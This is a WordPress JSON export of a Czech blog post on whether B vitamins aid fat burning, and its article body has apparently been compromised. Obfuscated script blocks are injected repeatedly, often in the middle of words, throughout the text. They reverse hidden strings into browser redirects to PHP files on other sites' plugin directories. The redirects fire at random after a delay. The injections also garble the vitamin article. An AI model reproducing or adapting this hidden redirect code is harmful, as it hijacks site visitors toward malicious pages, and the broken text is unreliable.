{"id":723,"date":"2022-06-24T11:02:00","date_gmt":"2022-06-24T11:02:00","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=723"},"modified":"2022-09-21T08:08:59","modified_gmt":"2022-09-21T08:08:59","slug":"pomahaji-vitaminy-b-se-spalovanim-tuku","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2022\/06\/24\/pomahaji-vitaminy-b-se-spalovanim-tuku\/","title":{"rendered":"Pom\u00e1haj\u00ed vitaminy B se spalov\u00e1n\u00edm tuk\u016f?"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\"><strong>Ne nadarmo se \u0159\u00edk\u00e1, \u017ee dob\u0159\u00ed holubi se vracej\u00ed. Plat\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to i o osv\u011bd\u010den\u00fdch trendech ve v\u00fd\u017eiv\u011b a suplementaci. Tak\u017ee se pozornost \u0159ady spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f op\u011bt up\u00edr\u00e1 k&nbsp;ikonick\u00e9mu B komplexu.<\/strong><\/h1>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Kter\u00e9 l\u00e1tky tvo\u0159\u00ed komplex B vitamin\u016f?<\/strong><\/h2>\n\n\n\n<p>B1 \u2013 thiamin<\/p>\n\n\n\n<p>B2 \u2013 riboflavin<\/p>\n\n\n\n<p>B3 \u2013 niacin<\/p>\n\n\n\n<p>B5 \u2013 kyselina pan<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>totenov\u00e1<\/p>\n\n\n\n<p>B6 \u2013 pyridoxine<\/p>\n\n\n\n<p>B7 \u2013 biotin<\/p>\n\n\n\n<p>B9 \u2013 kyselina lis<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e1<\/p>\n\n\n\n<p>B12 \u2013 kobalamin<\/p>\n\n\n\n<p>Jde o vitaminy rozpustn\u00e9 ve vod\u011b, co\u017e znamen\u00e1, \u017ee si je t\u011blo neukl\u00e1d\u00e1 a mus\u00edte je p\u0159ij\u00edmat pravideln\u011b v&nbsp;dostate\u010dn\u00fdch d\u00e1vk\u00e1ch.<\/p>\n\n\n\n<p>B vitaminy pln\u00ed v&nbsp;organismu \u0161irokou \u0161k\u00e1lu v\u00fdznamn\u00fdch \u00fakol\u016f, zejm\u00e9na co se t\u00fd\u010de fungov\u00e1n\u00ed metabolismu:<\/p>\n\n\n\n<p>&#8211; napom\u00e1haj\u00ed p\u0159em\u011bn\u011b b\u00edlkovin, sacharid\u016f a tuk\u016f na energii;<\/p>\n\n\n\n<p>&#8211; zaji\u0161\u0165uj\u00ed spr\u00e1vn\u00e9 fungov\u00e1n\u00ed nervov\u00e9ho syst\u00e9mu;<\/p>\n\n\n\n<p>&#8211; podporuj\u00ed tvorbu n\u011bkter\u00fdch d\u016fle\u017eit\u00fdch hormon\u016f a neurotransmiter\u016f.<\/p>\n\n\n\n<p>Ka\u017ed\u00fd vitamin m\u00e1 n\u011bkolik sv\u00fdch unik\u00e1tn\u00edch funkc\u00ed. Kdy\u017e p\u0159ijde \u0159e\u010d na spalov\u00e1ni tuk\u016f, pak budou rozhodn\u011b nejdisku<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovan\u011bj\u0161\u00ed B1, B3, B6 a B12.<\/p>\n\n\n\n<p><strong>Thiamin (B1)<\/strong> ovliv\u0148uje chu\u0165 k&nbsp;j\u00eddlu a na z\u00e1klad\u011b \u0159ady studi\u00ed bylo prok\u00e1z\u00e1no, \u017ee jeho nedostatek je v&nbsp;p\u0159\u00edm\u00e9 souvislosti s&nbsp;obezi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou. Zhruba t\u0159etina ob\u00e9zn\u00edch lid\u00ed nem\u00e1 dostate\u010dnou hladinu thiaminu, co\u017e m\u016f\u017ee jejich pot\u00ed\u017ee zhor\u0161ovat. Je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pr\u00e1v\u011b thiamin, kter\u00fd hraje hlavn\u00ed roli v&nbsp;produkci energie, zejm\u00e9na pak ve zp\u016fsobu, jak\u00fdm t\u011blo vyu\u017e\u00edv\u00e1 glykogen a \u0161t\u011bp\u00ed aminokyseliny s&nbsp;rozv\u011btven\u00fdm \u0159et\u011bzcem. Dostate\u010dn\u00e9 mno\u017estv\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vitaminu zajist\u00ed spr\u00e1vn\u00e9 fungov\u00e1n\u00ed metabolismu a odpov\u00eddaj\u00edc\u00ed vytrvalost b\u011bhem spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edho v\u00fdkonu.<\/p>\n\n\n\n<p><strong>Niacin (B3)<\/strong> umo\u017e\u0148uje produkci energie z&nbsp;p\u0159ijat\u00e9 potravy, \u00fa\u010dastn\u00ed se hlavn\u011b synt\u00e9zy mastn\u00fdch kyselin a cholesterolu, zaji\u0161\u0165uje norm\u00e1ln\u00ed chu\u0165 k&nbsp;j\u00eddlu, m\u00e1 vliv na tr\u00e1ven\u00ed, stav pleti a nervov\u00e9 soustavy. Podle odborn\u00edk\u016f by lid\u00e9 trp\u00edc\u00ed nadv\u00e1hou a obezi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou m\u011bli p\u0159\u00edjem <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vitaminu nav\u00fd\u0161it, stejn\u00e1 doporu\u010den\u00ed pak budou platit i pro jedince, kte\u0159\u00ed dr\u017e\u00ed p\u0159\u00edsnou dietu \u010di pro spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce v&nbsp;tr\u00e9ninkov\u00e9 z\u00e1t\u011b\u017ei.<\/p>\n\n\n\n<p><strong>Pyridoxin (B6)<\/strong> je nezbytn\u00fd pro tvorbu hemoglobinu, kter\u00fd zaji\u0161\u0165uje transport kysl\u00edku v&nbsp;t\u011ble. D\u00e1le hraje z\u00e1sadn\u00ed roli v&nbsp;synt\u00e9ze aminokyselin a p\u0159i&nbsp;tzv. glukoneogenezi, tedy v&nbsp;procesu, kdy z&nbsp;gluk\u00f3za vznik\u00e1 z&nbsp;tuk\u016f nebo aminokyselin. T\u00edm je zaji\u0161t\u011bna adekv\u00e1tn\u00ed hladina cukru v&nbsp;krvi i b\u011bhem omezen\u00e9ho p\u0159\u00edjmu potravy (dieta).<\/p>\n\n\n\n<p><strong>Kobalamin (B12)<\/strong> se \u00fa\u010dastn\u00ed p\u0159edev\u0161\u00edm metabolismu b\u00edlkovin, sacharid\u016f a tuk\u016f, uplatn\u00ed se ov\u0161em i b\u011bhem tvorby kostn\u00ed d\u0159en\u011b, \u010derven\u00fdch krvinek a p\u0159i spr\u00e1vn\u00e9 funkci nervov\u00e9 soustavy, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee zaji\u0161\u0165uje celistvost myelinu \u2013 ochrann\u00e9 vrstvy kolem nervov\u00fdch vl\u00e1ken. D\u00edky studii proveden\u00e9 v&nbsp;roce 2013 nav\u00edc v\u00edme, \u017ee nedostatek vitaminu B12 vede k&nbsp;n\u00e1r\u016fstu v\u00e1hy a u lid\u00ed, kte\u0159\u00ed pot\u0159ebuj\u00ed svoji hmotnost \u0159e\u0161it, d\u00e1v\u00e1 smysl kvalitn\u00ed suplementace.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Komu hroz\u00ed nedostatek?<\/strong><\/h2>\n\n\n\n<p>Vzhledem k&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, \u017ee ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 